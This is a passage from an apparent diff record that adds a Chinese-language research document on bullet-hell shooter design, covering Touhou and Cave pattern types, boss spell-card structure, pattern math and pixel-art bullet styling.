fan);东方道中妖精惯用(常识);DoDonPachi 等 Cave 游戏的\"concentrated fire\"即窄/快扇(来源:Zen of the SHMUP 对 Cave 的归类)。", "new_no": 81}, {"type": "add", "content": "- **像素风格设计建议**:扇弹适合 7–11 颗一组的中型子弹(如 10px 小玉),发射瞬间用**同一色系**表示同一波;窄扇用暖色(红/橙)暗示高风险,宽装饰扇用冷色。", "new_no": 82}, {"type": "add", "content": "", "new_no": 83}, {"type": "add", "content": "### 2.4 直线弹幕(Line / Stream / Wall)", "new_no": 84}, {"type": "add", "content": "", "new_no": 85}, {"type": "add", "content": "- **视觉描述**:", "new_no": 86}, {"type": "add", "content": " - **流弹(Stream)**:从一处连续射出单发子弹,形成一条密集弹流,玩家\"引弹\"时可把它带成一条可利用的空隙带(maribelhearn 术语:streaming / 引弹)。", "new_no": 87}, {"type": "add", "content": " - **墙(Wall)**:同排/同列子弹连成不可穿越的\"墙\",迫使玩家整体绕过(宏闪避)或在墙隙中微闪避。Sparen Guide A3 的定义:\"墙 = 玩家无法从中间穿过的子弹群/编队\"。", "new_no": 88}, {"type": "add", "content": "- **数学与实现要点**:连续发射(fire rate 控制密度)+ 固定方向;若每发角度做正弦微扰,直线流会变成\"S 形波流\"(Unity 论坛示例:0°→180° 递增、180°→360° 递减即正弦半波)。", "new_no": 89}, {"type": "add", "content": "- **经典游戏例子**:东方\"针山/米弹雨\"类密集直线(常识);Sparen 用 Utsuho(地灵殿 阿空)的符卡组合说明微/宏闪避结合的动态弹幕(Sparen Guide A3)。", "new_no": 90}, {"type": "add", "content": "- **像素风格设计建议**:直线弹适合**针弹/米弹/箭弹**(细长、方向明确);流弹用同色细弹,墙用同色+同速保证\"墙\"的视觉连续性;给子弹加方向性贴图可让玩家立即读出弹道(Sparen Guide A2)。", "new_no": 91}, {"type": "add", "content": "", "new_no": 92}, {"type": "add", "content": "### 2.5 随机散射(Random Spread)", "new_no": 93}, {"type": "add", "content": "", "new_no": 94}, {"type": "add", "content": "- **视觉描述**:子弹角度/速度在随机范围内散射,像火花、星尘、碎片。纯随机易显得\"无设计\"且不公平,优秀做法是给角度、速度、密度赋予\"范围与偏置\"(bias),即受控随机。(note.com 2-12 Particles;Sparen Guide A2 对随机角的负面评价)", "new_no": 95}, {"type": "add", "content": "- **数学与实现要点**:", "new_no": 96}, {"type": "add", "content": " - 在固定规律上叠加小随机:\"受控随机看起来更像弹幕\"(note.com 3-1):", "new_no": 97}, {"type": "add", "content": " ```", "new_no": 98}, {"type": "add", "content": " angle = base + i * even_angle + sin(t) * 波动幅度 # 规律性", "new_no": 99}, {"type": "add", "content": " speed = base_speed + random(-0.2, 0.2) # 微扰", "new_no": 100}, {"type": "add", "content": " ```", "new_no": 101}, {"type": "add", "content": " - 随机角度也可用作\"种子角度\":例如连续发射环形弹时,每轮用一个随机初始角,避免盲区/避免每轮覆盖完全相同的路径(Sparen Guide A2)。", "new_no": 102}, {"type": "add", "content": "- **经典游戏例子**:东方的\"小虫型符卡\"(《魔理沙的魔法书》分类,子弹细碎、颜色丰富,多为弱妖怪用,来源:Wikipedia 符卡)与妖精群随机弹(常识);Cave 的 Mushihimesama 强调\"更快、更集中\"的火力,其随机感更强(来源:Zen of the SHMUP / Reddit 讨论)。", "new_no": 103}, {"type": "add", "content": "- **像素风格设计建议**:随机弹适合**点弹/星弹/米粒弹**等小尺寸,配合\"闪烁\"动画强调危险性;随机弹颜色可用亮白/黄等\"危险信号色\";注意与背景对比度(slynyrd)。", "new_no": 104}, {"type": "add", "content": "", "new_no": 105}, {"type": "add", "content": "### 2.6 追踪弹幕(Homing / Aimed)", "new_no": 106}, {"type": "add", "content": "", "new_no": 107}, {"type": "add", "content": "- **视觉描述**:", "new_no": 108}, {"type": "add", "content": " - **瞄准弹(Aimed)**:开火瞬间朝玩家当前位置瞄准(可加扇形成\"瞄准扇/散弹\"),考验玩家\"引弹\"(misdirection)能力(note.com 2-4、maribelhearn 术语)。", "new_no": 109}, {"type": "add", "content": " - **追踪弹(Homing)**:飞行中持续转向玩家。转向性能越弱越容易躲,追求\"稍微弯曲\"而非\"全程咬死\",反而更美观(note.com 2-13)。", "new_no": 110}, {"type": "add", "content": "- **数学与实现要点**:", "new_no": 111}, {"type": "add", "content": " ```", "new_no": 112}, {"type": "add", "content": " desired = atan2(player.y - bullet.y, player.x - bullet.x)", "new_no": 113}, {"type": "add", "content": " turn = clamp(desired - bullet.angle, -maxTurnRate*dt, +maxTurnRate*dt)", "new_no": 114}, {"type": "add", "content": " bullet.angle += turn # 限速转向(turning performance)", "new_no": 115}, {"type": "add", "content": " # 可选:加速度朝玩家、停顿后重新加速、分裂后重新锁定(note.com 2-13 变体)", "new_no": 116}, {"type": "add", "content": " ```", "new_no": 117}, {"type": "add", "content": "- **经典游戏例子**:瞄准弹是 Cave\"concentrated fire / tracking\"风格的基石(来源:SHMUP Workshop 03 YouTube——\"tracking and spread gates, 经典 CAVE 做法\");东方 Boss 的瞄准时间差/瞄准散弹(常识)。追踪弹在 DoDonPachi 的\"自爆弹\"(suicide bullets,击破敌人释放的追踪自机弹)中大量出现(来源:TimeExtension)。", "new_no": 118}, {"type": "add", "content": "- **像素风格设计建议**:追踪弹要用**明显的方向性贴图**(箭头/小刀/蝴蝶等)且贴图随角度旋转,否则玩家读不出它在转弯(Sparen Guide A2:\"无方向性贴图的圆弹不传达转向\")。用发光/描边强调\"这只子弹会追我\"。", "new_no": 119}, {"type": "add", "content": "", "new_no": 120}, {"type": "add", "content": "### 2.7 反弹弹幕(Bounce / Ricochet)", "new_no": 121}, {"type": "add", "content": "", "new_no": 122}, {"type": "add", "content": "- **视觉描述**:子弹撞到屏幕边缘/墙壁后反弹继续飞行,轨迹呈折线。属于\"轨迹型\"弹幕中较少见的一类。", "new_no": 123}, {"type": "add", "content": "- **数学与实现要点**:碰撞边缘时反射角度:`angle = π - angle`(左右边)或 `angle = -angle`(上下边),或对速度向量做分量取反;可加转数上限让子弹弹几次后消失。", "new_no": 124}, {"type": "add", "content": "- **经典游戏例子**:相比东方式纵版弹幕(子弹通常出屏即消),反弹弹更常见于街机/横版与部分同人弹幕(如某些 Cave 之外的 STG);东方中近乎**没有**常规反弹弹(常识判断,未见调研资料佐证其广泛存在)。⚠️ 这属于\"相对少见\"的类型,若要在本项目中使用,建议作为特色武器或 Boss 特殊阶段引入,而非基础词库。", "new_no": 125}, {"type": "add", "content": "- **像素风格设计建议**:反弹弹适合圆润的**圆形/椭弹**(避免方向性贴图在反弹瞬间的旋转跳变违和);反弹瞬间加 1–2 帧\"压缩-回弹\"动画或火花粒子,强化物理感;用预警或颜色提示\"它会弹\"。", "new_no": 126}, {"type": "add", "content": "", "new_no": 127}, {"type": "add", "content": "### 2.8 滞留弹幕(Static / Lingering)", "new_no": 128}, {"type": "add", "content": "", "new_no": 129}, {"type": "add", "content": "- **视觉描述**:子弹停留在场上形成持续障碍,或极慢速移动封锁区域。包括:静止弹墙、悬浮使魔、地面/空中持续存在的弹(laser 也可视为线状滞留)。作用是**区域封锁(area denial)**:封住一部分屏幕,为后续弹幕做铺垫,或堵住之前的逃逸路线(SHMUP Workshop 03:area denial patterns 的定义;Boghog:bullet sealing、ceasefire zone 等反挫败机制)。", "new_no": 130}, {"type": "add", "content": "- **数学与实现要点**:寿命(lifespan)拉长 + 速度降到 ~0;或通过\"分裂条件=凝固\"实现\"飞行到某点后停住\"。可让滞留弹周期性闪烁(半透明 + 呼吸)提示\"仍在威胁中\"。", "new_no": 131}, {"type": "add", "content": "- **经典游戏例子**:东方\"压迫型符卡\"(《魔理沙的魔法书》:限制自机移动范围的符卡,来源 Wikipedia,如灵梦的梦符「二重结界」以弹幕构成双重结界限制移动——B 站文章以它为例);激光墙封路也是常见形式(note.com 2-14,激光\"clearly block off parts of the screen\")。", "new_no": 132}, {"type": "add", "content": "- **像素风格设计建议**:滞留弹必须与\"会动的危险弹\"在视觉上区分——建议**低频闪烁 + 半透明 + 固定描边**;或用\"发光的柱子/结界\"图形(如结界/棱镜形状)表示区域阻碍物。静止弹用冷色系(蓝/紫),活动弹用暖色系,形成语义分离。", "new_no": 133}, {"type": "add", "content": "", "new_no": 134}, {"type": "add", "content": "### 2.9 组合弹幕(Compound Patterns)", "new_no": 135}, {"type": "add", "content": "", "new_no": 136}, {"type": "add", "content": "- **视觉描述**:把多个模式叠加。例如\"螺旋铺满屏 + 瞄准弹逼玩家移动\",或\"展开环 + 中途分裂 + 激光堵路\"。(note.com 2-15 Composite)", "new_no": 137}, {"type": "add", "content": "- **设计原则**(note.com 3-2 / 2-15):", "new_no": 138}, {"type": "add", "content": " - 组合时**指定一个主模式**,其余为伴奏,避免信息过载。", "new_no": 139}, {"type": "add", "content": " - 元素越多,越要依赖颜色编码、预警、缝隙设计来保证可读性。", "new_no": 140}, {"type": "add", "content": " - 组合要形成\"分工\":背景压迫 + 前景逼迫(如中间难度组合:旋转全向弹 + 上方落雨 + 周期性瞄准弹)。", "new_no": 141}, {"type": "add", "content": "- **经典游戏例子**:东方高阶符卡几乎都是组合(常识,如多层螺旋+分裂环+预警激光即 note.com 高级 Boss 推荐组合);阿空(地灵殿)的符卡是微/宏闪避结合的著名组合(Sparen Guide A3)。", "new_no": 142}, {"type": "add", "content": "- **像素风格设计建议**:组合弹幕在像素风下最容易\"糊成一团\"。建议:每个模式用**不同主色**;不同模式用**不同子弹形状**(圆=压迫、针=直线、星=装饰/特殊);层与层之间拉开速度差,让玩家能分层读取。", "new_no": 143}, {"type": "add", "content": "", "new_no": 144}, {"type": "add", "content": "### 2.10 调研补充的常用模式", "new_no": 145}, {"type": "add", "content": "", "new_no": 146}, {"type": "add", "content": "以下模式来自 note.com 的《15 种经典弹幕模式》与 Sparen 指南,按需并入本项目词库:", "new_no": 147}, {"type": "add", "content": "", "new_no": 148}, {"type": "add", "content": "| 模式 | 视觉/玩法特征 | 要点 | 像素建议 |", "new_no": 149}, {"type": "add", "content": "|---|---|---|---|", "new_no": 150}, {"type": "add", "content": "| **波型/幕帘(Wave/Curtain)** | 正弦波排列的子弹带,像波浪/极光/瀑布,容易与 BGM 节奏联动 | 重点是\"缝隙的流动感\"而非子弹本身;`y = a·sin(ωt + φ)` 排布 | 用细长米弹/针弹沿正弦排布,同色系渐变 |", "new_no": 151}, {"type": "add", "content": "| **网格(Grid)** | 横竖规则排列,钻石/晶体状,几何美且缝隙可读;纯网格易单调,加大小的速度差/局部缺口 | 强规律、易读、密度↑难度↑ | 用规则小圆弹 + 网格闪烁/错位动画 |", "new_no": 152}, {"type": "add", "content": "| **花状(Floral)** | 对称花瓣排列(5/6/8 瓣),华丽,适合符卡演出 | 对称越高越精致;过度均匀会单调,周期性转相位 | 花瓣用两类颜色交替(瓣=亮、蕊=暗)强化图案 |", "new_no": 153}, {"type": "add", "content": "| **星形/多边形(Star)** | 强调特定顶点(5/6/8 向)的星形放射 | 少弹星形也醒目,适合元素/性格表达 | 用星形贴图子弹 + 旋转动画 |", "new_no": 154}, {"type": "add", "content": "| **交叉(Intersection)** | 多股弹流交叉如编织/光流;视觉美但缝隙易被切断 | 关注\"玩家可走的路径\"而非交点;调速度/密度/交叉角 | 两条交叉流用互补色(如青 vs 品红)|", "new_no": 155}, {"type": "add", "content": "| **落雨(Rain)** | 自上而下倾泻,天然适合道中演出 | 全随机易不公平,保持一定规律美观 | 竖直方向子弹用垂直长条贴图或水滴形 |", "new_no": 156}, {"type": "add", "content": "| **粒子(Particles)** | 火花/星尘式散落,适合爆炸、花瓣、魔法粒子、Boss 登场 | 给角度/速度/密度一个\"范围+偏置\" | 小尺寸 + 闪烁,可叠加在其他弹幕上做纹理 |", "new_no": 157}, {"type": "add", "content": "| **激光(Laser)** | 线/带状攻击,视觉冲击强,可明确封路 | 发射前先给**细预警线(telegraph)**最公平;有固定/旋转/弯曲/网格激光 | 预警线细→粗的 2 帧过渡动画;激光主体用高亮+描边 |", "new_no": 158}, {"type": "add", "content": "| **分裂弹(Split)** | 飞行中途/定时/到距离后爆成子弹(如 1→3),常伴随\"先停顿\"预警 | 分裂条件:时间/距离/位置;分裂后子弹可重新锁定玩家(note.com 2-13) | 母弹大而亮(告知\"会爆\"),子弹小一号;停顿帧加\"蓄力闪光\" |", "new_no": 159}, {"type": "add", "content": "", "new_no": 160}, {"type": "add", "content": "---", "new_no": 161}, {"type": "add", "content": "", "new_no": 162}, {"type": "add", "content": "## 3. Boss 战弹幕设计", "new_no": 163}, {"type": "add", "content": "", "new_no": 164}, {"type": "add", "content": "### 3.1 阶段转换与东方Project符卡系统(Spell Card)", "new_no": 165}, {"type": "add", "content": "", "new_no": 166}, {"type": "add", "content": "**东方Project 的符卡系统**(来源:Wikipedia《符卡》、百度百科、PIXNET 东方介绍):", "new_no": 167}, {"type": "add", "content": "", "new_no": 168}, {"type": "add", "content": "- **来源与规则**:符卡(Spell Card,スペルカード)由《东方红魔乡》首次引入(ZUN 自述为\"比其它系统更早面世\"而开发本作)。符卡规则 = \"给绝技命名并宣言\"的决斗规则:宣言、约定符卡张数、击破对方全部符卡即胜。", "new_no": 169}, {"type": "add", "content": "- **敌方符卡流程**:", "new_no": 170}, {"type": "add", "content": " 1. **非符(nonspell)**:Boss 的普通攻击,一般耐久条分格为单位;", "new_no": 171}, {"type": "add", "content": " 2. **符卡宣言**:血量削到阈值时 Boss \"念符\"(宣言),画面切换为该角色专属 Spell Card 背景,进入符卡攻击;", "new_no": 172}, {"type": "add", "content": " 3. **符卡红利(Spell Card Bonus, SCB)**:无 Miss 无 Bomb 击破符卡可获得额外分数,随时间递减;擦弹可增加红利;", "new_no": 173}, {"type": "add", "content": " 4. **时间限制**:每张符卡有残余时间显示,超时 Boss 自动进入下一波(此时无法收取符卡)。", "new_no": 174}, {"type": "add", "content": "- **符卡变体**:", "new_no": 175}, {"type": "add", "content": " - **增强型符卡**:随血量削减,弹幕密度/速度逐渐增加,越到后面越难(强化难度的天然手段);", "new_no": 176}, {"type": "add", "content": " - **时效型/时限型符卡**:耐久无法直接削减,玩家必须\"死守到时间结束\"才能收取(生存符卡 survival card;如《永夜抄》部分符卡);", "new_no": 177}, {"type": "add", "content": " - **Last Spell / Last Word / Overdrive**:残机为零或特定条件下的最终符卡(Extra/隐藏挑战用)。", "new_no": 178}, {"type": "add", "content": "- **难度变化**:同一符卡在 Easy/Normal 与 Hard/Lunatic 下常有**不同名字**(Higher 难度名字更华丽),弹幕排列与颜色也会变化(Wikipedia)。", "new_no": 179}, {"type": "add", "content": "- **《魔理沙的魔法书》对符卡的分类**(Wikipedia):演剧型(重视觉效果、大量非瞄准装饰弹)、奴隶型(用使魔/人偶/式神攻击)、小虫型(细碎多彩、弱妖怪)、压迫型(限制自机移动范围)、兴奋剂型(强化自身)。", "new_no": 180}, {"type": "add", "content": "", "new_no": 181}, {"type": "add", "content": "**对本项目的启示**:阶段(Phase)不必按血量硬切,可以模仿\"非符→符卡宣言→符卡\"的节奏:普通阶段保持低密度教学,宣言瞬间清场 + 特效 + 显示符卡名,制造\"仪式感\";生存符卡(时限型)能复用已有图案、只改目标(熬过 X 秒),开发成本低、演出效果好。", "new_no": 182}, {"type": "add", "content": "", "new_no": 183}, {"type": "add", "content": "### 3.2 弹幕密度控制", "new_no": 184}, {"type": "add", "content": "", "new_no": 185}, {"type": "add", "content": "- **密度不是越多越好**:'curtain fire'不等于无限堆弹;密度阈值之后,可读性(readability)崩坏,玩家感到\"不公平\"而非\"华丽\"(note.com 3-2:设计缝隙而非密度)。", "new_no": 186}, {"type": "add", "content": "- **难度曲线**:", "new_no": 187}, {"type": "add", "content": " - 报告参考\"轻/重阶段交替\"(Danmaku Unlimited 3 采用东方式 light/heavy 交替:轻阶段让玩家喘息与移动,重阶段密集压迫,来源 Forgotten Worlds 采访);", "new_no": 188}, {"type": "add", "content": " - 每个 Boss 阶段内\"缓慢升级\":起点是玩家已见过的简单变体,随后逐次加大子弹量/缩小缝隙/提高速度(SHMUP Workshop 03:slow escalation)。", "new_no": 189}, {"type": "add", "content": " - 不同难度等级通过\"同一图案改密度/速度/名字\"来分层(东方难度差异,Wikipedia)。", "new_no": 190}, {"type": "add", "content": "- **可控变量**(可做成运行时调参工具):子弹数、速度、发射间隔、扇形张角、环形偏转、随机种子、加层数。", "new_no": 191}, {"type": "add", "content": "- **Cave 的 rank 系统**:根据玩家当前表现(残机/雷/击破率)动态调整弹幕强度——可选的高级机制(来源:TimeExtension;Boghog 亦建议用\"credit feed 降 rank\"来练习 Boss)。", "new_no": 192}, {"type": "add", "content": "", "new_no": 193}, {"type": "add", "content": "### 3.3 安全路径设计(Safe Zones / 缝隙 / 路线)", "new_no": 194}, {"type": "add", "content": "", "new_no": 195}, {"type": "add", "content": "弹幕的本质是\"缝隙谜题\",安全路径是设计对象而非巧合:", "new_no": 196}, {"type": "add", "content": "", "new_no": 197}, {"type": "add", "content": "- **微闪避(micrododging)**:在密集子弹的缝隙间小幅移动穿行(Sparen A3 / maribelhearn / Boghog);", "new_no": 198}, {"type": "add", "content": "- **宏闪避(macrododging)**:对整个弹幕编队进行大幅度绕行、找到整块安全区(safe spot / safespot——\"内部完全不会被击中(或近于)的点/区域\",maribelhearn 术语);东方中 BOWAP、咲夜道中非符等是经典 safespot(maribelhearn Beginner Guide / jargon);", "new_no": 199}, {"type": "add", "content": "- **引弹(streaming / misdirection)**:瞄准弹只有在玩家\"把弹流引到别处\"时才安全——设计上,持续的瞄准弹迫使玩家移动并制造\"下一波更难\"的位置压力(SHMUP Workshop 03:被满屏引导到尴尬位置会削弱后续应对;maribelhearn:misdirection 常在数秒空隙内完成);", "new_no": 200}, {"type": "add", "content": "- **路线(routing)**:玩家在静态/半静态弹幕中规划的具体移动路径,是\"设计缝隙\"的最终产物;", "new_no": 201}, {"type": "add", "content": "- **设计检查表**(综合 note.com 3-2 与 SHMUP Workshop 03):", "new_no": 202}, {"type": "add", "content": " 1. 画图时刻意留下**可见的缝隙**(gap width > 判定点 + 子弹判定 + 误差余量);", "new_no": 203}, {"type": "add", "content": " 2. 区分\"安全点型\"(原地不动即可)与\"移动型\"(需要持续引弹)两类安全路径,交替使用;", "new_no": 204}, {"type": "add", "content": " 3. 用瞄准弹/区域封锁弹**主动关闭**上一轮的安全点,防止玩家蹲坑(area denial,SHMUP Workshop 03;以及\"anti-camping:避免玩家龟缩\"的 Boss 设计目标);", "new_no": 205}, {"type": "add", "content": " 4. 每次重复图案时用随机种子旋转相位,避免出现固定盲区(Sparen A2)。", "new_no": 206}, {"type": "add", "content": "", "new_no": 207}, {"type": "add", "content": "### 3.4 时间限制与弹幕压力", "new_no": 208}, {"type": "add", "content": "", "new_no": 209}, {"type": "add", "content": "- **时限符卡**:上面已述(生存符卡)。在设计上,时限 = \"不需要 DPS 检验,纯粹考验躲避\",适合放在 Boss 战中段作为节奏变化点(东方文花帖/弹幕天邪鬼等衍生作品以\"时限+道具\"为核心玩法)。", "new_no": 210}, {"type": "add", "content": "- **压力节奏(tension-release loop)**:", "new_no": 211}, {"type": "add", "content": " - 每个波次设计\"入口压力→主压力→释放\"三段式:先预警(低压力、可读),再高压(核心躲避),最后 1–2 秒\"突然变简单\"给玩家胜利快感(Boss Up YouTube:survive 之后的那 1 秒喘息极具成瘾性);", "new_no": 212}, {"type": "add", "content": " - 压力来源可以分层:视觉压力(满屏)、逻辑压力(瞄准)、时间压力(超时/残机消耗)。", "new_no": 213}, {"type": "add", "content": "- **Boss 战的五个设计要素**(来源:Game Developer《Video Game Boss Design for Shmups》):", "new_no": 214}, {"type": "add", "content": " 1. **难度 Difficulty**:首关 Boss 必须让\"认真玩的人\"能过;Boss 攻击应与关卡已有敌人/道具主题连贯(\"进化\"而非\"空降\");", "new_no": 215}, {"type": "add", "content": " 2. **多样性 Variety**:Boss 血量条分段显示图案边界;同一段血内可循环多个攻击,且每次攻击要求不同的躲避/输出策略;", "new_no": 216}, {"type": "add", "content": " 3. **时长 Length**:Boss 战时长与关卡时长成比例;中 Boss 不应比关底 Boss 长;把\"信息不对等的假 Boss → 真 Boss\"当一次性惊喜;", "new_no": 217}, {"type": "add", "content": " 4. **回报 Pay-off**:Boss 战末尾(濒死前)往往\"倾泻所有弹幕\"制造最终高潮(Mushihimesama、ESPGaluda2、Ikaruga 第 3 章 Boss 都是例子);好回报 = 节奏铺垫 + 假危机;", "new_no": 218}, {"type": "add", "content": " 5. **角色 Character**:爆炸方式、受击反馈、蓄力/宣言动画、音效都要符合角色性格——这是\"为什么这个 Boss 挡在这里\"的叙事答案。", "new_no": 219}, {"type": "add", "content": "", "new_no": 220}, {"type": "add", "content": "### 3.5 东方式 Boss 战结构参考(综合)", "new_no": 221}, {"type": "add", "content": "", "new_no": 222}, {"type": "add", "content": "1. 开战:非符 1(轻、教学、环/扇)", "new_no": 223}, {"type": "add", "content": "2. 符卡宣言(换背景、念符名)→ 符卡 1(主题图案,时间限制,收取奖励)", "new_no": 224}, {"type": "add", "content": "3. 非符 2(中压,引入瞄准/引弹)", "new_no": 225}, {"type": "add", "content": "4. 符卡 2(组合图案,增强型:随血量变密)→ ……", "new_no": 226}, {"type": "add", "content": "5. 濒死:Last Spell / 最终符卡(最强+最华丽)→ 消弹演出(击破瞬间子弹变道具)", "new_no": 227}, {"type": "add", "content": "6. (挑战层)隐藏:Extra 时限符卡 / 弹幕天邪鬼式\"看似不可能\"组合", "new_no": 228}, {"type": "add", "content": "", "new_no": 229}, {"type": "add", "content": "---", "new_no": 230}, {"type": "add", "content": "", "new_no": 231}, {"type": "add", "content": "## 4. 数学原理与实现", "new_no": 232}, {"type": "add", "content": "", "new_no": 233}, {"type": "add", "content": "### 4.1 基础参数体系", "new_no": 234}, {"type": "add", "content": "", "new_no": 235}, {"type": "add", "content": "任何一个弹幕模式都可由以下参数组合生成(来源:note.com 第 4 章;o3de-diorama 参数表):", "new_no": 236}, {"type": "add", "content": "", "new_no": 237}, {"type": "add", "content": "| 参数 | 作用 | 备注 |", "new_no": 238}, {"type": "add", "content": "|---|---|---|", "new_no": 239}, {"type": "add", "content": "| 发射位置 | 敌中心/屏幕边缘/多炮塔 | 决定子弹出生点阵型 |", "new_no": 240}, {"type": "add", "content": "| **发射角度** | 固定 / 旋转 / 瞄准 / 随机 | 最易出效果 |", "new_no": 241}, {"type": "add", "content": "| 子弹数量 | 密度 | 环形=一圈数量、扇形=扇内数量 |", "new_no": 242}, {"type": "add", "content": "| 发射间隔 | 节奏 | 决定\"流\"还是\"波\" |", "new_no": 243}, {"type": "add", "content": "| 子弹速度 | 难度与观感 | 快=危险、慢=可读 |", "new_no": 244}, {"type": "add", "content": "| 加速度 | 节奏与曲线 | 减速弹、加速弹 |", "new_no": 245}, {"type": "add", "content": "| 角速度 | 螺旋、转向弹 | 曲线弹的核心 |", "new_no": 246}, {"type": "add", "content": "| 寿命 | 消失时机 | 滞留弹=长寿命 |", "new_no": 247}, {"type": "add", "content": "| 分裂条件 | 时间/距离/位置 | 分裂弹 |", "new_no": 248}, {"type": "add", "content": "| 颜色/大小 | 可读性与美观 | 颜色=属性编码 |", "new_no": 249}, {"type": "add", "content": "", "new_no": 250}, {"type": "add", "content": "### 4.2 角度与排列公式(常用)", "new_no": 251}, {"type": "add", "content": "", "new_no": 252}, {"type": "add", "content": "- **环形**:`angle_i = base + i·360/n`,`v = speed·(cos, sin)`(2.1 节)", "new_no": 253}, {"type": "add", "content": "- **扇形**:`angle_i = aim - spread/2 + i·spread/(n-1)`(2.3 节)", "new_no": 254}, {"type": "add", "content": "- **瞄准**:`angle = atan2(py - ey, px - ex) + 偏移`(瞄准扇 = 在其两侧均匀分布)", "new_no": 255}, {"type": "add", "content": "- **网格**:对 `(i,j)` 行列给固定 x/y 间距", "new_no": 256}, {"type": "add", "content": "- **正弦波**:`x 或 y += A·sin(ω·t + φ)`(2.10 波型)", "new_no": 257}, {"type": "add", "content": "- **花瓣/星形**:`angle_i = base + i·(360/petal) + 相位`,再由花瓣内多颗子弹构成瓣形", "new_no": 258}, {"type": "add", "content": "- **规律+微扰**:`angle = base + i·even + sin(t)·fluct`,`speed = base + random(-δ,δ)`(note.com 3-1)", "new_no": 259}, {"type": "add", "content": "- **周期循环**:如\"每 60 帧一波大浪、每 15 帧小弹、每 4 发反转角度\"制造音乐性节奏(note.com 3-4)", "new_no": 260}, {"type": "add", "content": "", "new_no": 261}, {"type": "add", "content": "### 4.3 速度变化(加速/减速弹幕)", "new_no": 262}, {"type": "add", "content": "", "new_no": 263}, {"type": "add", "content": "Danmokou(DMK 引擎)归纳的常见运动(来源:Danmokou Tutorial 6):", "new_no": 264}, {"type": "add", "content": "", "new_no": 265}, {"type": "add", "content": "1. 恒定速度直线(默认)", "new_no": 266}, {"type": "add", "content": "2. **直线加速**(`v(t) = v0 + a·t`,可正可负:赶人弹/诱导弹)", "new_no": 267}, {"type": "add", "content": "3. 速度在慢/快之间周期切换", "new_no": 268}, {"type": "add", "content": "4. 两位置间往返", "new_no": 269}, {"type": "add", "content": "5. 极坐标运动(径向+角速度)", "new_no": 270}, {"type": "add", "content": "6. 波浪线(squiggly)", "new_no": 271}, {"type": "add", "content": "7. 旋转运动方向(追踪/转向)", "new_no": 272}, {"type": "add", "content": "8. 相对另一运动物体运动(随从弹/母舰子机)", "new_no": 273}, {"type": "add", "content": "9. 任意参数方程轨迹", "new_no": 274}, {"type": "add", "content": "", "new_no": 275}, {"type": "add", "content": "工程提示:DMK 把运动建模为**函数**(`rvelocity(px(3 + sine(4, 0.6, t)))`),而不是\"速度/加速度两个标量\",从而任意轨迹即插即用;其子弹更新循环一次函数调用即可支撑 10 万以上子弹 @4K 120FPS(DMK 官方数据)。", "new_no": 276}, {"type": "add", "content": "", "new_no": 277}, {"type": "add", "content": "### 4.4 曲线弹幕(转向 / 极坐标 / 贝塞尔)", "new_no": 278}, {"type": "add", "content": "", "new_no": 279}, {"type": "add", "content": "- **限速转向(追踪弹)**:每帧把朝向转向上限内的目标方向(2.6 节公式);\"转向弱一点更好躲也更好看\"(note.com 2-13)。", "new_no": 280}, {"type": "add", "content": "- **极坐标螺旋**:`r(t)=a·t, θ(t)=b·t` → 直角坐标 `x = cx + r·cosθ, y = cy + r·sinθ`(DMK 示例 `polar(2*t, 80*t)`)。注意极坐标绕圈时转速均匀性需要弧长参数化,DMK 作者自述\"没有闭式解,需迭代求解\"。", "new_no": 281}, {"type": "add", "content": "- **贝塞尔曲线(弯曲弹)**:二次贝塞尔 `B(t) = (1-t)²·P0 + 2(1-t)·t·P1 + t²·P2`,每帧采样 t∈[0,1] 作为下一位置(通用图形学做法,非本次调研单一来源;用于\"弧形弹道/水漂弹\")。三次贝塞尔 `C(t)` 用于更复杂的 S 形弹道。", "new_no": 282}, {"type": "add", "content": "- **正弦扰动**:在固定方向上叠加正弦横向偏移,成为\"S 形\"弹(Unity 论坛实现示例)。", "new_no": 283}, {"type": "add", "content": "- **角度退化/曲线激光**:东方中存在\"准激光\"(弧形激光、曲线灵弹),判定比直线激光大(thwiki 弹型介绍)——曲线弹道要么给足预警,要么减小判定。", "new_no": 284}, {"type": "add", "content": "", "new_no": 285}, {"type": "add", "content": "### 4.5 性能实现建议", "new_no": 286}, {"type": "add", "content": "", "new_no": 287}, {"type": "add", "content": "- **对象池(object pool)**:固定容量池 + 硬上限,防止无限生成(o3de-diorama 的 `Max Bullets` 硬上限设计)。", "new_no": 288}, {"type": "add", "content": "- **批量渲染**:同一纹理的整组子弹一次 draw call(sprite batch / 合批)。", "new_no": 289}, {"type": "add", "content": "- **碰撞**:每颗活子弹对目标碰撞层做一次重叠查询,目标层只放玩家/护盾几个碰撞体,几百颗子弹也便宜(o3de-diorama)。", "new_no": 290}, {"type": "add", "content": "- **功能分层**:发射器(emitter)只管几何与碰撞,伤害/计分留在游戏侧(o3de-diorama 的分工建议)。", "new_no": 291}, {"type": "add", "content": "", "new_no": 292}, {"type": "add", "content": "---", "new_no": 293}, {"type": "add", "content": "", "new_no": 294}, {"type": "add", "content": "## 5. 像素风格下的弹幕视觉设计", "new_no": 295}, {"type": "add", "content": "", "new_no": 296}, {"type": "add", "content": "### 5.1 子弹形状库", "new_no": 297}, {"type": "add", "content": "", "new_no": 298}, {"type": "add", "content": "**核心原则**:'shmup 最核心的是弹幕的可读性(visibility)——在任何背景下都能被读出'(slynyrd Pixelblog 31)。形状即语义:**形状要匹配行为**(Sparen Guide A2 / Pixelblog 32:箭形弹配直线飞行才合理;追踪弹要旋转指向的运动方向)。", "new_no": 299}, {"type": "add", "content": "", "new_no": 300}, {"type": "add", "content": "**东方参考形状清单**(来源:thwiki《东方全弹型介绍与中弹判定分析》、maribelhearn 子弹类型表、Steam Touhou Bullets Model Pack):", "new_no": 301}, {"type": "add", "content": "", "new_no": 302}, {"type": "add", "content": "| 类别 | 形状 | 用途/特点 | 像素建议 |", "new_no": 303}, {"type": "add", "content": "|---|---|---|---|", "new_no": 304}, {"type": "add", "content": "| 圆形系 | 小玉(带圈/不带圈)、中玉、大玉(空心) | 通用基础弹;大玉实际判定仅中心空洞 | 6–10px 圆 + 描边;大玉用\"中空环\"贴图配透明中心 |", "new_no": 305}, {"type": "add", "content": "| 粒状 | 点弹、米弹 | 点弹最小(<判定点),米弹为最高发弹量弹型之一 | 3–4px 点、8×4 米粒;米弹风速后有变短/判定变大差异 |", "new_no": 306}, {"type": "add", "content": "| 尖形 | 针弹/箭弹/晶弹 | 速度感、方向感最强 | 长 8–14px 的三角/箭头,尖端高亮 |", "new_no": 307}, {"type": "add", "content": "| 刀剑形 | 刀弹、剑弹、苦无 | 角色辨识度高(如咲夜/蕾米) | 剑身+尖端高光;前端无判定所以略细 |", "new_no": 308}, {"type": "add", "content": "| 星光形 | 星弹(大/小)、光弹 | 